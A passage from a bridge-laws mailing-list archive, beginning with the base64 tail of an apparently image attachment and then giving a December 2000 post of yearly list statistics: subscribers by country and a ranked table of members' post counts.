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 ------=_NextPart_000_978402859683-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 2 19:14:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f028DAi05769 for bridge-laws-outgoing; Tue, 2 Jan 2001 19:13:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from thorium.uunet.be (thorium.uunet.be [194.7.1.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f028D2t05765 for ; Tue, 2 Jan 2001 19:13:03 +1100 (EST) Received: from village.uunet.be (uu212-190-3-138.unknown.uunet.be [212.190.3.138]) by thorium.uunet.be (8.9.1/8.9.1) with ESMTP id JAA27455 for ; Tue, 2 Jan 2001 09:12:56 +0100 (CET) Message-ID: <3A4F3A5F.278ACC6A@village.uunet.be> Date: Sun, 31 Dec 2000 14:53:35 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: [BLML] Statistics 2000 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hello All, the yearly statistics !! There are currently 265 subsr**rs of blml, although I suspect there are some who have desubbed just for the holidays. 9 people insist on receiving everything double, so there are 256 readers. By zone and country : zone 1 : 103 GB : 32 NL : 13 BE : 8 DE : 7 DK-FR : 6 RU : 5 IL : 4 EE-IT-NO-PL-PT-SE : 2 AT-CH-CZ-ES-FI-GR-HU-IE-IS-UA : 1 zone 2 : 79 US : 69 CA : 9 BM : 1 zone 3 : 1 CL : 1 zone 4 : 1 IN : 1 zone 5 : 2 CR : 2 zone 6 : 5 JP : 2 ID-SG-TW : 1 zone 7 : 31 AU : 18 NZ : 13 zone 8 : 2 EG : 1 ZA : 1 total known : 224 unknown : 32 com : 20 edu : 1 net : 11 We posted 8486 in the 380 days that I've counted (my last set was done on 15/12), that's on average 22.33 messages per day, compared to 27 in 1999 and 18.4 in 1998. Guess who posted the most ? posts rk-00 rk-01 1055 (1) (1) David Stevenson 757 (2) (4) Grattan Endicott 530 (3) (2) Herman De Wael 364 (4) (6) John (MadDog) Probst 362 (5) (5) Steve Willner 337 (6) (11) Adam Beneschan 289 (7) (3) Marvin L. French 247 (8) (14) David Burn 229 (9) (7) Eric Landau 218 (10) Todd Zimnoch 186 (11) (30) Peter Gill 170 (12) (22) Ton Kooijman 160 (13) Alain Gottcheiner 160 (13) (12) Anne Jones 160 (13) (17) David J. Grabiner 152 (16) (8) Michael S. Dennis 147 (17) (16) Craig Senior 143 (18) (20) Ed Reppert 140 (19) (19) Tim West-Meads 119 (20) (13) Schoder "Kojak" 101 (21) (18) Dany Haimovici 101 (21) (61) Thomas Dehn 99 (23) (28) Michael Farebrother 94 (24) Richard Hills 93 (25) (9) Roger Pewick 92 (26) (10) Jesper Dybdal 91 (27) (45) Ext-Konrad Ciborowski 86 (28) (25) Martin Sinot 81 (29) (42) Wayne Burrows 78 (30) (21) Hirsch Davis 68 (31) (52) Adam Wildavsky 59 (32) (32) Richard Bley 58 (33) (37) Laval Dubreuil 56 (34) (26) Robin Barker 55 (35) Ben Schelen 54 (36) (50) Ron Johnson 50 (37) (23) Grant Sterling 48 (38) (75) Mark Abraham 47 (39) (26) Anton Witzen 44 (40) (60) Richard Willey 40 (41) (157) Henry Sun 37 (42) Noel & Pam 36 (43) (92) Robert E Harris 35 (44) (125) Petrus Schuster 34 (45) (56) Brian Baresch 34 (45) (24) Jean-Pierre Rocafort 32 (47) (63) Gordon Bower 30 (48) (34) Linda Trent 29 (49) (31) Tim Goodwin 28 (50) (35) Fearghal O'Boyle 27 (51) (39) Henk Uijterwaal 24 (52) (61) Norman Scorbie 22 (53) (44) Nancy T. Dressing 20 (54) (94) Jens Brix Christiansen 19 (55) Jack Rhind 19 (55) (48) Mike Amos 19 (55) (46) Vitold Brushtunov 18 (58) (41) A.L. Edwards 18 (58) Zvi Shilon 17 (60) (69) Sergey Kapustin 16 (61) Olivier Beauvillain 16 (61) (125) Pam Hadfield 16 (61) (84) Quango 15 (64) (69) Farley, Wally 15 (64) (72) Jac Fuchs 14 (66) (58) Norman Hostetler 13 (67) (94) Martaandras (Andras Booc) 12 (68) M Smith 12 (68) (46) Tony Musgrove 11 (70) (84) James.Vickers@merck.de 11 (70) (79) Brian Meadows 11 (70) (51) David Martin 11 (70) (106) Eitan Levy 11 (70) (37) John R. Mayne 11 (70) (56) Laurie Kelso 11 (70) Peter Swensson 10 (77) (67) J.P. Pals 10 (77) Nardullo Ennio 10 (77) (103) Patrick (Carter) 10 (77) (82) Ted Ying 9 (81) WS Flory 9 (81) (67) Markus Buchhorn 9 (81) (36) Richard F Beye 8 (84) (49) Magda Thain 7 (85) (116) Aavo Heinlo 7 (85) (69) Bruce Small 7 (85) (106) Chris Pisarra 7 (85) (106) Derrick Heng 7 (85) (72) John Nichols 7 (85) (138) Mike Dodson 7 (85) Peter Clinch 7 (85) Phil Guptill 7 (85) (116) Yvan Calamé 7 (85) (75) ACFarwig, Christian 7 (85) (75) Richard or Barbara Odlin 6 (96) (79) Albert Lochli 6 (96) (106) Bill Segraves 6 (96) (74) Irwin J. Kostal 6 (96) (84) John Kuchenbrod 6 (96) (84) John MacGregor 6 (96) (125) Julie Atkinson 6 (96) (106) Sergei Litvak 5 (103) (101) Bill Bickford 5 (103) (82) Chyah Burghard 5 (103) (103) Ian Crorie 5 (103) Kees van der Weijden 5 (103) (84) Lormant Philippe 5 (103) N Scott Cardell 5 (103) Patrick Shields 5 (103) (94) Rui Marques 5 (103) (116) non-reader 4 (112) n y abhyankar 4 (112) Peter Bowyer 